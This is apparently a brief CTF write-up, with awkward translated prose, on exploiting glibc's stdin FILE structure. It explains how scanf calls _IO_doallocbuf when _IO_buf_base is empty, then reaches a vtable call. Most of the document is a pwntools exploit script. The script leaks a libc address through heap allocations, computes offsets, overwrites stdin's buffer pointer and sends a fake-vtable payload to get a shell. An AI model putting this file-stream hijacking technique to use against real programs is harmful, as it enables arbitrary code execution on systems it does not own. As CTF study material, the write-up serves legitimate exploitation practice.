# PWN IOfile simple record (1)
PWN IO getc discussion
When getc will make _IO_buf_base empty, go to _IO_doallocbuf when it is empty
```
scanf:
if (fp->_IO_buf_base == NULL)
{
/* Maybe we already have a push back pointer. */
if (fp->_IO_save_base != NULL)
{
free (fp->_IO_save_base);
fp->_flags &= ~_IO_IN_BACKUP;
}
_IO_doallocbuf (fp);
}
_IO_doallocbuf:
void_IO_doallocbuf (_IO_FILE *fp){ if (fp->_IO_buf_base) # How to input buffer is not empty, return directly return;
if (!(fp->_flags & _IO_UNBUFFERED) || fp->_mode > 0) #check flag
if (_IO_DOALLOCATE (fp) != EOF) ## call vtable function return; _
IO_setb (fp, fp->_shortbuf, fp->_shortbuf+1, 0);}
libc_hidden_def (_IO_doallocbuf)
```
_IO_doallocbuf:
Then trigger vtable to complete any hijacking, this question has a backdoor
```python
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from __future__ import print_function
from pwn import *
binary = './chall'
elf = ELF(binary)
libc = elf.libc
io = process(binary, aslr = 1)
#$io = remote('127.0.0.1', 30001)
context.log_level = 'debug'
context.arch = elf.arch
myu64 = lambda x: u64(x.ljust(8, b'\x00'))
ub_offset = 0x3c4b30
codebase = 0x555555554000
def menu(idx):
# io.recvuntil('choice: ')
io.sendline(str(idx))
sleep(0.3)
def make(sz, d, idx=0):
menu(1)
io.recvuntil("size: ")
io.sendline(str(sz))
io.recvuntil("data: ")
io.sendline(d)
io.recvuntil("idx: ")
io.sendline(str(idx))
def free(idx):
menu(4)
io.recvuntil("idx: ")
io.sendline(str(idx))
make(0x500, 'a')
make(0x500, 'b', 1)
free(0)
make(0x500, '')
io.recvuntil("your buf: ")
libc_addr = myu64(io.recvn(6)) & ((1<<64) - 1 - 0xff)
if libc_addr & 0xf000 != 0:
sys.exit(1)
stdin_addr = libc_addr - 0x160
libc_base = libc_addr - 0x219c00
print(hex(libc_addr))
print(hex(libc_base))
# lets overwrite the stdin->_IO_buf_base
#gdb.attach(io, 'pie breakpoint 0x15396\nc\n')
gdb.attach(io,"b _IO_doallocbuf\n")
pause()
menu(1)
io.recvuntil("size: ")
io.sendline(str(stdin_addr+0x38+2))
io.recvuntil("data: ")
io.sendline('a')
io.recvuntil("idx: ")
# use scanf to send payload
ptr_chk_guard_addr = libc_base - 0x2890 # this guy lies in the tls. not ld.so
gadget = 0x406320
system = libc_base + 0x508f2
'''
scanf:
if (fp->_IO_buf_base == NULL)
{
/* Maybe we already have a push back pointer. */
if (fp->_IO_save_base != NULL)
{
free (fp->_IO_save_base);
fp->_flags &= ~_IO_IN_BACKUP;
}
_IO_doallocbuf (fp);
}
_IO_doallocbuf:
void_IO_doallocbuf (_IO_FILE *fp){ if (fp->_IO_buf_base) # How to input buffer is not empty, return directly return;
if (!(fp->_flags & _IO_UNBUFFERED) || fp->_mode > 0) #check flag
if (_IO_DOALLOCATE (fp) != EOF) ## call vtable function return; _
IO_setb (fp, fp->_shortbuf, fp->_shortbuf+1, 0);}
libc_hidden_def (_IO_doallocbuf)
'''
fake_io = p32(0xfbad208b) + b';sh;'
#fake_io += p64(ptr_chk_guard_addr) + p64(ptr_chk_guard_addr + 8)
#fake_io += p64(ptr_chk_guard_addr + 8)
#fake_io += p64(ptr_chk_guard_addr) * 4
#fake_io += p64(ptr_chk_guard_addr + 8)
payload = b'\x00' * (0xa0-8-3)
payload += p64(gadget) #vtable
#payload += b'\x00' * 0x200
#payload = payload.ljust(0xa70, b'\x00')
#payload += b'c' * 13 #+ fake_io
#payload = b'\x00' * 0x10
io.sendline(payload)
# io.recvuntil('choice: ')
io.interactive()
```